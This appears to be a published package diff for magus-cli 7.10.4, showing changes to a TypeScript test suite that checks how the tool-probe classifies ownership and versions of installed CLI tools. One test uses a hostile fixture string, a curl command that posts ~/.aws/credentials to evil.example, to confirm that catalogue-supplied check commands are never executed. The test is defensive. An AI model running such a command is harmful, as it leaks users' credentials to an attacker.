magus-cli 7.10.3 → 7.10.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. package/package.json +4 -4
  2. package/src/__tests__/blackbox-convergence.test.ts +0 -1
  3. package/src/__tests__/blackbox-parity.test.ts +2 -2
  4. package/src/__tests__/blackbox-tool-state.test.ts +8 -18
  5. package/src/__tests__/blind/c14-cli-row-label.test.ts +8 -3
  6. package/src/__tests__/blind/c15-probe-ownership.test.ts +11 -11
  7. package/src/__tests__/blind/c16-probe-adopts-node-global.test.ts +16 -12
  8. package/src/__tests__/blind/c17-enter-label.test.ts +42 -7
  9. package/src/__tests__/blind/c18-probe-adopts-homebrew-keg.test.ts +36 -19
  10. package/src/__tests__/blind/c19-probe-owner-version-shadow.test.ts +38 -35
  11. package/src/__tests__/cli-tool-commands.test.ts +2 -2
  12. package/src/__tests__/cli-tool-external-row.test.tsx +112 -0
  13. package/src/__tests__/cli-tools-adapter.test.ts +32 -22
  14. package/src/__tests__/cli-update-view.test.ts +124 -51
  15. package/src/__tests__/fixtures/bins.ts +9 -2
  16. package/src/__tests__/npm-package-name.test.ts +3 -2
  17. package/src/__tests__/tool-adopt-brew-owner.test.ts +167 -0
  18. package/src/__tests__/tool-probe.test.ts +231 -144
  19. package/src/__tests__/tool-rows-followups.test.ts +315 -0
  20. package/src/__tests__/tool-rows-reproduction.test.ts +630 -0
  21. package/src/__tests__/tool-versions.test.ts +164 -0
  22. package/src/__tests__/toolchain.test.ts +0 -2
  23. package/src/__tests__/update-plan.test.ts +40 -9
  24. package/src/cli/update-view.ts +180 -76
  25. package/src/cli/update.ts +44 -37
  26. package/src/data/cli-tools.ts +5 -10
  27. package/src/data/tool-versions.ts +137 -0
  28. package/src/services/cli-tool-commands.ts +1 -2
  29. package/src/services/cli-tool-version.ts +10 -88
  30. package/src/services/resolver.ts +9 -15
  31. package/src/services/tool-probe.ts +537 -691
  32. package/src/services/toolchain.ts +10 -4
  33. package/src/services/update-engine.ts +9 -15
  34. package/src/services/update-plan.ts +49 -21
  35. package/src/types/index.ts +0 -2
  36. package/src/ui/adapters/cliToolsAdapter.ts +31 -22
  37. package/src/ui/renderers/cliToolRenderers.tsx +15 -21
  38. package/src/ui/state/types.ts +0 -1
  39. package/src/__tests__/blind/c9-cli-tool-version.test.ts +0 -239
@@ -23,7 +23,6 @@ import {
23
23
  type FetchJsonResult,
24
24
  type ToolFacts,
25
25
  type ToolProbeIO,
26
- brewKegVersion,
27
26
  classifyTool,
28
27
  compareToolVersions,
29
28
  detectInstallMethods,
@@ -35,7 +34,6 @@ import {
35
34
  parsePipxListJson,
36
35
  parseUvReceipt,
37
36
  parseUvToolList,
38
- parseVersionToken,
39
37
  probeTool,
40
38
  probeTools,
41
39
  specForCatalogTool,
@@ -226,7 +224,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
226
224
  );
227
225
  });
228
226
 
229
- test("6. not managed → external, in the user's terms", () => {
227
+ test("6. another owner → external / installed-elsewhere, with no note", () => {
230
228
  const s = classifyTool(
231
229
  spec({ name: "crush" }),
232
230
  facts({
@@ -234,27 +232,30 @@ describe("classifyTool — every rule of §4.3, in order", () => {
234
232
  behind: true,
235
233
  resolvedPath:
236
234
  "/Users/j/.nvm/versions/node/v24.14.0/lib/node_modules/@charmland/crush/run-crush.js",
237
- owner: "npm (root /Users/j/.local/lib/node_modules)",
238
235
  }),
239
236
  );
240
- expect(s).toMatchObject({ state: "external", reason: "not-managed" });
241
- expect(s.note).toBe("installed by an installer magus does not update");
242
- expect(s.note).not.toContain("/");
243
- });
244
-
245
- test("6. managed === null (owner undeterminable) is also a veto, as unknown", () => {
246
- expect(
247
- classifyTool(spec(), facts({ managed: null, behind: true })),
248
- ).toMatchObject({ state: "unknown", reason: "not-managed" });
237
+ expect(s).toMatchObject({
238
+ state: "external",
239
+ reason: "installed-elsewhere",
240
+ target: null,
241
+ });
242
+ expect(s.note).toBeUndefined();
249
243
  });
250
244
 
251
- test("6. the note names who DID install it, never the spec's installer", () => {
252
- const note = classifyTool(
253
- spec({ via: "brew" }),
254
- facts({ managed: false, behind: true, ownerName: "cargo" }),
255
- ).note;
256
- expect(note).toBe("installed by cargo");
257
- expect(note).not.toContain("Homebrew");
245
+ test("6. managed === null (owner undeterminable) is a veto: unknown / owner-unknown, no path", () => {
246
+ const s = classifyTool(
247
+ spec(),
248
+ facts({
249
+ managed: null,
250
+ behind: true,
251
+ resolvedPath: "/usr/local/bin/tool",
252
+ failure: "brew timed out after 8s",
253
+ }),
254
+ );
255
+ expect(s).toMatchObject({ state: "unknown", reason: "owner-unknown" });
256
+ expect(s.note).toBe(
257
+ "could not tell which installer owns it (brew timed out after 8s)",
258
+ );
258
259
  });
259
260
 
260
261
  test("7. held back → unknown, with the hold as the note", () => {
@@ -332,13 +333,13 @@ describe("classifyTool — every rule of §4.3, in order", () => {
332
333
  ).toMatchObject({ state: "unknown", reason: "unorderable" });
333
334
  });
334
335
 
335
- test("M3: pinned ∧ foreign ∧ behind the pin → not-managed, never an upgrade", () => {
336
+ test("M3: pinned ∧ foreign ∧ behind the pin → external, never an upgrade", () => {
336
337
  expect(
337
338
  classifyTool(
338
339
  spec({ version: "2.0.0" }),
339
340
  facts({ installed: "1.0.0", managed: false }),
340
341
  ),
341
- ).toMatchObject({ state: "unknown", reason: "not-managed" });
342
+ ).toMatchObject({ state: "external", reason: "installed-elsewhere" });
342
343
  });
343
344
 
344
345
  test("M3: pinned ∧ foreign ∧ at the pin → at-pin (no work, ownership irrelevant)", () => {
@@ -357,12 +358,12 @@ describe("classifyTool — every rule of §4.3, in order", () => {
357
358
  ).toBe("up-to-date");
358
359
  });
359
360
 
360
- test("every non-current, non-install state carries a note", () => {
361
+ test("every unknown or upgrade state carries a note (external carries none, see 6)", () => {
361
362
  const cases: Array<[Partial<BinRequirement>, Partial<ToolFacts>]> = [
362
363
  [{}, { installed: null }],
363
364
  [{ version: "2" }, { installed: "x" }],
364
365
  [{ version: "2.0.0" }, { installed: "3.0.0" }],
365
- [{}, { managed: false }],
366
+ [{}, { managed: null }],
366
367
  [{}, { heldBack: "held by brew pin" }],
367
368
  [{ via: "brew", version: "9.0.0" }, { installed: "1.0.0" }],
368
369
  [{ version: "9.0.0" }, { installed: "1.0.0" }],
@@ -372,7 +373,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
372
373
  ];
373
374
  for (const [s, f] of cases) {
374
375
  const status = classifyTool(spec(s), facts(f));
375
- expect(["unknown", "upgrade", "external"]).toContain(status.state);
376
+ expect(["unknown", "upgrade"]).toContain(status.state);
376
377
  expect(status.note?.length ?? 0).toBeGreaterThan(0);
377
378
  }
378
379
  });
@@ -439,33 +440,14 @@ describe("parsers — against captured real output", () => {
439
440
  expect(parseBrewOutdatedJson("", "tmux")).toBeNull();
440
441
  });
441
442
 
442
- test("brew list --versions and the keg version", () => {
443
- expect(parseBrewListVersions(fixture("brew-list-versions-tmux.txt"))).toBe(
444
- "3.7c",
445
- );
446
- expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toBe("3.7c");
447
- expect(parseBrewListVersions("")).toBeNull();
443
+ test("brew list --versions: every kept version", () => {
448
444
  expect(
449
- brewKegVersion(
450
- "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
451
- "/opt/homebrew/Cellar",
452
- "tmux",
453
- ),
454
- ).toBe("3.7c");
455
- expect(
456
- brewKegVersion(
457
- "/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
458
- "/opt/homebrew/Cellar",
459
- "gemini-cli",
460
- ),
461
- ).toBe("0.46.0");
462
- expect(
463
- brewKegVersion(
464
- "/opt/homebrew/Cellar/tmux-extra/1/bin/x",
465
- "/opt/homebrew/Cellar",
466
- "tmux",
467
- ),
468
- ).toBeNull();
445
+ parseBrewListVersions(fixture("brew-list-versions-tmux.txt")),
446
+ ).toEqual(["3.7c"]);
447
+ expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toEqual(["3.7b", "3.7c"]);
448
+ expect(parseBrewListVersions("jq 1.8.2_1\n")).toEqual(["1.8.2_1"]);
449
+ expect(parseBrewListVersions("")).toEqual([]);
450
+ expect(parseBrewListVersions("tmux\n")).toEqual([]);
469
451
  });
470
452
 
471
453
  test("uv tool list: packages, not executables; normalised keys", () => {
@@ -576,14 +558,6 @@ describe("parsers — against captured real output", () => {
576
558
  expect(parsePipxListJson(null).size).toBe(0);
577
559
  });
578
560
 
579
- test("parseVersionToken: the first version-like token", () => {
580
- expect(parseVersionToken("tmux 3.7c")).toBe("3.7c");
581
- expect(parseVersionToken("2.1.268 (Claude Code)")).toBe("2.1.268");
582
- expect(parseVersionToken("tmux-mcp v2.0.0\n")).toBe("2.0.0");
583
- expect(parseVersionToken("codex-cli 0.153.2")).toBe("0.153.2");
584
- expect(parseVersionToken("built 2026, 3 files")).toBeNull();
585
- });
586
-
587
561
  test("PEP 503 normalisation", () => {
588
562
  expect(normalizePythonPackageName("Browser_Use")).toBe("browser-use");
589
563
  expect(normalizePythonPackageName("a.-_b")).toBe("a-b");
@@ -633,9 +607,8 @@ describe("probeTool — ownership decides managed", () => {
633
607
  name: "claude",
634
608
  via: "npm",
635
609
  package: "@anthropic-ai/claude-code",
636
- check: "claude --version",
637
610
  });
638
- const f = await probeTool(s, io, { allowCheckCommand: true });
611
+ const f = await probeTool(s, io);
639
612
  expect(f).toMatchObject({
640
613
  present: true,
641
614
  managed: true,
@@ -683,16 +656,19 @@ describe("probeTool — ownership decides managed", () => {
683
656
  expect(io.calls).toEqual([]);
684
657
  });
685
658
 
686
- test("brew-owned gemini-cli: keg version, brew's own verdict", async () => {
659
+ test("brew-owned gemini-cli: brew lists it, PATH runs that version, brew's own verdict", async () => {
687
660
  const io = fakeIO({
688
- env: { HOMEBREW_PREFIX: "/opt/homebrew" },
689
661
  onPath: { gemini: "/opt/homebrew/bin/gemini" },
690
662
  real: {
691
663
  "/opt/homebrew/bin/gemini":
692
- "/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
693
- "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
664
+ "/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini",
694
665
  },
695
666
  exec: {
667
+ "brew list --versions gemini-cli": { stdout: "gemini-cli 0.46.0\n" },
668
+ "brew list gemini-cli": {
669
+ stdout: "/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini\n",
670
+ },
671
+ "gemini --version": { stdout: "0.46.0\n" },
696
672
  "brew outdated --json=v2 gemini-cli": {
697
673
  stdout: fixture("brew-outdated-tmux-current.txt"),
698
674
  },
@@ -710,19 +686,24 @@ describe("probeTool — ownership decides managed", () => {
710
686
 
711
687
  test("V5 baseline: tmux (brew, current) is CURRENT, not an upgrade", async () => {
712
688
  const io = fakeIO({
713
- env: { HOMEBREW_PREFIX: "/opt/homebrew" },
714
689
  onPath: { tmux: "/opt/homebrew/bin/tmux" },
715
690
  real: {
716
691
  "/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
717
- "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
718
692
  },
719
693
  exec: {
694
+ "brew list --versions tmux": {
695
+ stdout: fixture("brew-list-versions-tmux.txt"),
696
+ },
697
+ "brew list tmux": {
698
+ stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
699
+ },
700
+ "tmux -V": { stdout: "tmux 3.7c\n" },
720
701
  "brew outdated --json=v2 tmux": {
721
702
  stdout: fixture("brew-outdated-tmux-current.txt"),
722
703
  },
723
704
  },
724
705
  });
725
- const s = spec({ name: "tmux", via: "brew", check: "tmux -V" });
706
+ const s = spec({ name: "tmux", via: "brew" });
726
707
  expect(classifyTool(s, await probeTool(s, io))).toMatchObject({
727
708
  state: "current",
728
709
  reason: "up-to-date",
@@ -730,25 +711,145 @@ describe("probeTool — ownership decides managed", () => {
730
711
  });
731
712
  });
732
713
 
714
+ test("a brew formula magus has no version command for: brew's single version stands", async () => {
715
+ const io = fakeIO({
716
+ onPath: { testball: "/opt/homebrew/bin/testball" },
717
+ real: {
718
+ "/opt/homebrew/bin/testball":
719
+ "/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball",
720
+ },
721
+ exec: {
722
+ "brew list --versions testball": { stdout: "testball 0.0.1_2\n" },
723
+ "brew list testball": {
724
+ stdout: "/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball\n",
725
+ },
726
+ "brew outdated --json=v2 testball": {
727
+ stdout: '{"formulae":[],"casks":[]}',
728
+ },
729
+ },
730
+ });
731
+ const s = spec({ name: "testball", via: "brew" });
732
+ const f = await probeTool(s, io);
733
+ expect(f).toMatchObject({ managed: true, installed: "0.0.1" });
734
+ // Several kept versions: brew cannot say which is linked — never guessed.
735
+ const io2 = fakeIO({
736
+ onPath: { testball: "/opt/homebrew/bin/testball" },
737
+ real: {
738
+ "/opt/homebrew/bin/testball":
739
+ "/opt/homebrew/Cellar/testball/0.0.2/bin/testball",
740
+ },
741
+ exec: {
742
+ "brew list --versions testball": { stdout: "testball 0.0.1 0.0.2\n" },
743
+ "brew list testball": {
744
+ stdout: "/opt/homebrew/Cellar/testball/0.0.2/bin/testball\n",
745
+ },
746
+ "brew outdated --json=v2 testball": {
747
+ stdout: '{"formulae":[],"casks":[]}',
748
+ },
749
+ },
750
+ });
751
+ const g = await probeTool(s, io2);
752
+ expect(g).toMatchObject({ managed: true, installed: null });
753
+ expect(io2.calls).not.toContain("testball --version");
754
+ });
755
+
733
756
  test("a brew pin holds a behind formula back", async () => {
734
757
  const outdated = fixture("brew-outdated-behind-homebrew-spec.txt").replace(
735
758
  '"pinned": false',
736
759
  '"pinned": true',
737
760
  );
738
761
  const io = fakeIO({
739
- env: { HOMEBREW_PREFIX: "/opt/homebrew" },
740
762
  onPath: { testball: "/opt/homebrew/bin/testball" },
741
763
  real: {
742
764
  "/opt/homebrew/bin/testball":
743
765
  "/opt/homebrew/Cellar/testball/0.0.1/bin/testball",
744
- "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
745
766
  },
746
- exec: { "brew outdated --json=v2 testball": { stdout: outdated } },
767
+ exec: {
768
+ "brew list --versions testball": { stdout: "testball 0.0.1\n" },
769
+ "brew list testball": {
770
+ stdout: "/opt/homebrew/Cellar/testball/0.0.1/bin/testball\n",
771
+ },
772
+ "brew outdated --json=v2 testball": { stdout: outdated },
773
+ },
747
774
  });
748
775
  const s = spec({ name: "testball", via: "brew" });
749
776
  expect(classifyTool(s, await probeTool(s, io)).reason).toBe("held-back");
750
777
  });
751
778
 
779
+ // brew exits 1 for "not installed" AND for nearly every error. Measured: a
780
+ // formula brew does not have is silent on both streams; an untapped tap
781
+ // prints `Error: No available formula …` on stderr. Only silence is "no".
782
+ test("brew exit 1, silent: brew does not have it → installed elsewhere", async () => {
783
+ const io = fakeIO({
784
+ onPath: { jq: "/usr/local/bin/jq" },
785
+ real: { "/usr/local/bin/jq": "/usr/local/bin/jq" },
786
+ exec: {
787
+ "brew list --versions jq": { code: 1, stdout: "", stderr: "" },
788
+ "jq --version": { stdout: "jq-1.8.2\n" },
789
+ },
790
+ });
791
+ const s = spec({ name: "jq", via: "brew" });
792
+ const f = await probeTool(s, io);
793
+ expect(f.managed).toBe(false);
794
+ expect(classifyTool(s, f).state).toBe("external");
795
+ });
796
+
797
+ test("brew exit 1 with an Error: owner unknown, the failure says brew reported an error, never its stderr", async () => {
798
+ const error =
799
+ 'Error: No available formula with the name "someone/tap/claudish".';
800
+ const io = fakeIO({
801
+ onPath: { claudish: "/usr/local/bin/claudish" },
802
+ real: { "/usr/local/bin/claudish": "/usr/local/bin/claudish" },
803
+ exec: {
804
+ "brew list --versions someone/tap/claudish": {
805
+ code: 1,
806
+ stdout: "",
807
+ stderr: `${error}\nPlease tap it and then try again: brew tap someone/tap\n`,
808
+ },
809
+ "claudish --version": { stdout: "claudish version 10.4.1\n" },
810
+ },
811
+ });
812
+ const s = spec({
813
+ name: "claudish",
814
+ via: "brew",
815
+ formula: "someone/tap/claudish",
816
+ });
817
+ const f = await probeTool(s, io);
818
+ expect(f).toMatchObject({
819
+ managed: null,
820
+ failure: "brew reported an error",
821
+ });
822
+ expect(classifyTool(s, f)).toMatchObject({
823
+ state: "unknown",
824
+ reason: "owner-unknown",
825
+ note: "could not tell which installer owns it (brew reported an error)",
826
+ });
827
+ });
828
+
829
+ test("brew installed, the tool's version unreadable, and brew gives no verdict: the note says so once", async () => {
830
+ const io = fakeIO({
831
+ onPath: { tmux: "/opt/homebrew/bin/tmux" },
832
+ real: {
833
+ "/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
834
+ },
835
+ exec: {
836
+ "brew list --versions tmux": { stdout: "tmux 3.7c\n" },
837
+ "brew list tmux": {
838
+ stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
839
+ },
840
+ "tmux -V": { stdout: "tmux master\n" },
841
+ "brew outdated --json=v2 tmux": { code: 1, stderr: "Error: boom\n" },
842
+ },
843
+ });
844
+ const s = spec({ name: "tmux", via: "brew" });
845
+ const status = classifyTool(s, await probeTool(s, io));
846
+ expect(status).toMatchObject({
847
+ state: "unknown",
848
+ reason: "version-unreadable",
849
+ note: "installed, but its version could not be read (brew reported an error)",
850
+ });
851
+ });
852
+
752
853
  test("crush under nvm while PATH's npm writes elsewhere: managed through --prefix", async () => {
753
854
  const prefix = "/Users/j/.nvm/versions/node/v24.14.0";
754
855
  const pkgDir = `${prefix}/lib/node_modules/@charmland/crush`;
@@ -768,7 +869,7 @@ describe("probeTool — ownership decides managed", () => {
768
869
  },
769
870
  });
770
871
  const s = spec({ name: "crush", via: "npm", package: "@charmland/crush" });
771
- const f = await probeTool(s, io, { allowCheckCommand: true });
872
+ const f = await probeTool(s, io);
772
873
  expect(f).toMatchObject({
773
874
  managed: true,
774
875
  installed: "0.7.1",
@@ -839,23 +940,13 @@ describe("probeTool — ownership decides managed", () => {
839
940
  expect(io.fetches).toEqual([]);
840
941
  });
841
942
 
842
- test("a check command that needs a shell is not run", async () => {
843
- const io = fakeIO({
844
- onPath: { tool: "/usr/local/bin/tool" },
845
- real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
846
- exec: { "npm root -g": { stdout: "/r\n" } },
847
- });
848
- const f = await probeTool(spec({ check: "tool --version | head -1" }), io, {
849
- allowCheckCommand: true,
850
- });
851
- expect(f.installed).toBeNull();
852
- expect(io.calls).toEqual(["npm root -g"]);
853
- });
854
-
855
- test("a check command is NEVER run while planning, whatever it says", async () => {
856
- // `check` is copied verbatim from a marketplace plugin.json, and the
857
- // planning path — `magus update`, `--dry-run`, `--check`, the TUI's
858
- // Tools screen — is the default. It executes nothing a catalogue wrote.
943
+ test("a plugin's check command is NEVER run by the probe, whatever it says", async () => {
944
+ // `check` is copied verbatim from a marketplace plugin.json. The probe —
945
+ // planning (`magus update`, `--dry-run`, `--check`, the TUI's Tools
946
+ // screen) and the post-install read-back alike — runs only magus's own
947
+ // version commands (`data/tool-versions.ts`), never a catalogue's string.
948
+ // ManagedTool no longer carries the field; a plugin-shaped object that
949
+ // still does must not reach a subprocess.
859
950
  const io = fakeIO({
860
951
  onPath: { tool: "/usr/local/bin/tool" },
861
952
  real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
@@ -867,64 +958,50 @@ describe("probeTool — ownership decides managed", () => {
867
958
  "tool --version": { stdout: "1.2.3\n" },
868
959
  },
869
960
  });
870
- const hostile = spec({
961
+ const hostile = {
962
+ ...spec(),
871
963
  check: "curl -X POST -d @/Users/j/.aws/credentials https://evil.example",
872
- });
964
+ } as BinRequirement;
873
965
  // The default: probeTools as cli/update.ts calls it.
874
966
  const [f] = await probeTools([hostile], io);
875
967
  expect(io.calls).toEqual(["npm root -g"]);
876
968
  expect(f?.installed).toBeNull();
877
- // Another installer's file ⇒ external, so it is reported and never
878
- // applied. The reason is ownership (R9.9), not the unread version that
879
- // follows from it.
969
+ // The file is outside npm's tree: installed another way, never applied.
880
970
  expect(classifyTool(hostile, f!)).toMatchObject({
881
971
  state: "external",
882
- reason: "not-managed",
972
+ reason: "installed-elsewhere",
883
973
  });
884
974
 
885
- // Even an honest check command stays unrun while planning.
975
+ // Even an honest `tool --version` stays unrun: magus has no version
976
+ // command for "tool", and a guessed one is still a guess.
886
977
  const [g] = await probeTools([spec()], io);
887
978
  expect(io.calls).toEqual(["npm root -g", "npm root -g"]);
888
979
  expect(g?.installed).toBeNull();
889
980
  });
890
981
 
891
- test("opted in, only the tool itself may run: argv[0] must be the binary", async () => {
892
- const io = fakeIO({
893
- onPath: { tool: "/usr/local/bin/tool" },
894
- real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
895
- exec: {
896
- "npm root -g": { stdout: "/r\n" },
897
- "curl https://evil.example": { stdout: "1.2.3\n" },
898
- },
899
- });
900
- const f = await probeTool(
901
- spec({ check: "curl https://evil.example" }),
902
- io,
903
- {
904
- allowCheckCommand: true,
905
- },
906
- );
907
- expect(io.calls).toEqual(["npm root -g"]);
908
- expect(f.installed).toBeNull();
909
- expect(f.failure).toContain("does not run tool");
910
- });
911
-
912
- test("opted in, the tool's own path is accepted as argv[0]", async () => {
982
+ test("magus's own version command runs when the installer's record is silent", async () => {
913
983
  const io = fakeIO({
914
- onPath: { tool: "/usr/local/bin/tool" },
915
- real: { "/usr/local/bin/tool": "/opt/pkg/1.2.3/bin/tool" },
984
+ onPath: { codex: "/usr/local/bin/codex" },
985
+ real: { "/usr/local/bin/codex": "/opt/pkg/codex/bin/codex" },
916
986
  exec: {
917
987
  "npm root -g": { stdout: "/r\n" },
918
- "/usr/local/bin/tool --version": { stdout: "tool 1.2.3\n" },
988
+ "codex --version": { stdout: "codex-cli 0.153.2\n" },
919
989
  },
920
990
  });
921
991
  const f = await probeTool(
922
- spec({ check: "/usr/local/bin/tool --version" }),
992
+ spec({ name: "codex", package: "@openai/codex" }),
923
993
  io,
924
- { allowCheckCommand: true },
925
994
  );
926
- expect(f.installed).toBe("1.2.3");
927
- expect(f.sources).toContain("check-command");
995
+ expect(f.installed).toBe("0.153.2");
996
+ expect(f.sources).toContain("version-command");
997
+ // argv[0] is the bare name PATH resolves — never a path. npm does not
998
+ // have it, so Homebrew is asked too (merged design: another installer
999
+ // magus drives may own it); brew is absent here, so nothing is adopted.
1000
+ expect(io.calls).toEqual([
1001
+ "npm root -g",
1002
+ "brew list --versions codex",
1003
+ "codex --version",
1004
+ ]);
928
1005
  });
929
1006
  });
930
1007
 
@@ -1018,7 +1095,8 @@ describe("probeTools — uv", () => {
1018
1095
  state: "unknown",
1019
1096
  reason: "latest-unavailable",
1020
1097
  });
1021
- expect(mcp.note).toContain("Failed to fetch index");
1098
+ expect(mcp.note).toContain("uv reported an error");
1099
+ expect(mcp.note).not.toContain("Failed to fetch index");
1022
1100
  });
1023
1101
 
1024
1102
  test("an older uv that rejects --outdated falls back to PyPI per tool", async () => {
@@ -1114,12 +1192,17 @@ describe("probeTools — uv", () => {
1114
1192
  }),
1115
1193
  );
1116
1194
  const s = pip("aider", { package: "aider-chat" });
1117
- const f = await probeTool(s, io, { allowCheckCommand: true });
1118
- expect(f).toMatchObject({ managed: true, installed: "0.86.1" });
1119
- expect(classifyTool(s, f).state).toBe("current");
1120
- // The adoption is a FACT, and it names uv's bin dir.
1195
+ const f = await probeTool(s, io);
1196
+ // uv keeps no record of a file it did not install, and magus has no
1197
+ // version command for aider (its output was never captured): no version,
1198
+ // and none is guessed — `aider --version` is not run.
1199
+ expect(f).toMatchObject({ managed: true, installed: null });
1200
+ expect(io.calls).not.toContain("aider --version");
1201
+ expect(classifyTool(s, f).reason).toBe("version-unreadable");
1202
+ // The adoption is a FACT, said in the user's terms: no path.
1121
1203
  expect(f.sources).toContain("uv-adopted");
1122
- expect(f.adopted).toContain(UV_BIN);
1204
+ expect(f.adopted).toContain("uv takes it over");
1205
+ expect(f.adopted).not.toContain("/");
1123
1206
  });
1124
1207
 
1125
1208
  test("an adopted tool's UPGRADE says the owner changes", async () => {
@@ -1130,7 +1213,6 @@ describe("probeTools — uv", () => {
1130
1213
  uvSetup([], {
1131
1214
  onPath: { aider: `${UV_BIN}/aider` },
1132
1215
  real: { [`${UV_BIN}/aider`]: "/Users/j/.local/pipx/venvs/aider/x" },
1133
- exec: { "aider --version": { stdout: "aider 0.80.0\n" } },
1134
1216
  fetch: {
1135
1217
  "https://pypi.org/pypi/aider-chat/json": {
1136
1218
  ok: true,
@@ -1140,10 +1222,13 @@ describe("probeTools — uv", () => {
1140
1222
  }),
1141
1223
  );
1142
1224
  const s = pip("aider", { package: "aider-chat" });
1143
- const f = await probeTool(s, io, { allowCheckCommand: true });
1225
+ // The probe supplies the adoption; the version is supplied here, because
1226
+ // magus has no version command for aider and uv has no record of a file
1227
+ // it did not install. What is under test is that the adoption travels.
1228
+ const f = { ...(await probeTool(s, io)), installed: "0.80.0" };
1144
1229
  const status = classifyTool(s, f);
1145
1230
  expect(status).toMatchObject({ state: "upgrade", target: "0.86.1" });
1146
- expect(status.adopted).toContain("adopts it into uv");
1231
+ expect(status.adopted).toContain("uv takes it over");
1147
1232
  // And it reaches the plan row the CLI renders.
1148
1233
  const declared: ResolvedBin = { ...s, sources: ["profile:default"] };
1149
1234
  const [item] = planBinUpdates([declared], [f]);
@@ -1163,11 +1248,15 @@ describe("probeTools — uv", () => {
1163
1248
  },
1164
1249
  });
1165
1250
  const s = pip("aider", { package: "aider-chat" });
1166
- const f = await probeTool(s, io, { allowCheckCommand: true });
1251
+ const f = await probeTool(s, io);
1167
1252
  expect(io.calls).toContain("uv tool dir");
1168
1253
  expect(io.calls).toContain("pipx list --json");
1169
1254
  expect(f.managed).toBeNull();
1170
- expect(classifyTool(s, f).reason).toBe("not-managed");
1255
+ expect(classifyTool(s, f).state).toBe("unknown");
1256
+ // With a version read, the undetermined owner is the reason itself.
1257
+ expect(classifyTool(s, { ...f, installed: "0.80.0" }).reason).toBe(
1258
+ "owner-unknown",
1259
+ );
1171
1260
  });
1172
1261
  });
1173
1262
 
@@ -1227,24 +1316,23 @@ describe("probeTools — concurrency, deadline, ordering", () => {
1227
1316
  });
1228
1317
 
1229
1318
  test("no more than `concurrency` subprocesses run at once", async () => {
1230
- const exec: Record<string, ExecHandler> = {
1231
- "npm root -g": { stdout: "/g/node_modules\n" },
1232
- };
1319
+ const exec: Record<string, ExecHandler> = {};
1233
1320
  const onPath: Record<string, string> = {};
1234
1321
  const real: Record<string, string> = {};
1235
1322
  for (let i = 0; i < 8; i++) {
1236
1323
  onPath[`c${i}`] = `/x/c${i}`;
1237
1324
  real[`/x/c${i}`] = `/x/c${i}`;
1238
- exec[`c${i} --version`] = async () => {
1325
+ // One subprocess per tool: brew's own answer about its formula.
1326
+ exec[`brew list --versions c${i}`] = async () => {
1239
1327
  await sleep(10);
1240
- return { stdout: "1.0.0" };
1328
+ return { code: 1 };
1241
1329
  };
1242
1330
  }
1243
1331
  const io = fakeIO({ exec, onPath, real });
1244
1332
  await probeTools(
1245
- Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}` })),
1333
+ Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}`, via: "brew" })),
1246
1334
  io,
1247
- { concurrency: 3, allowCheckCommand: true },
1335
+ { concurrency: 3 },
1248
1336
  );
1249
1337
  expect(io.inFlight.max).toBeLessThanOrEqual(3);
1250
1338
  expect(io.inFlight.max).toBeGreaterThan(1);
@@ -1313,7 +1401,6 @@ const catalogTool = (over: Partial<CliTool> = {}): CliTool => ({
1313
1401
  name: "codex",
1314
1402
  displayName: "OpenAI Codex",
1315
1403
  description: "",
1316
- checkCommand: "codex --version",
1317
1404
  website: "",
1318
1405
  category: "ai-coding",
1319
1406
  packageManager: "npm",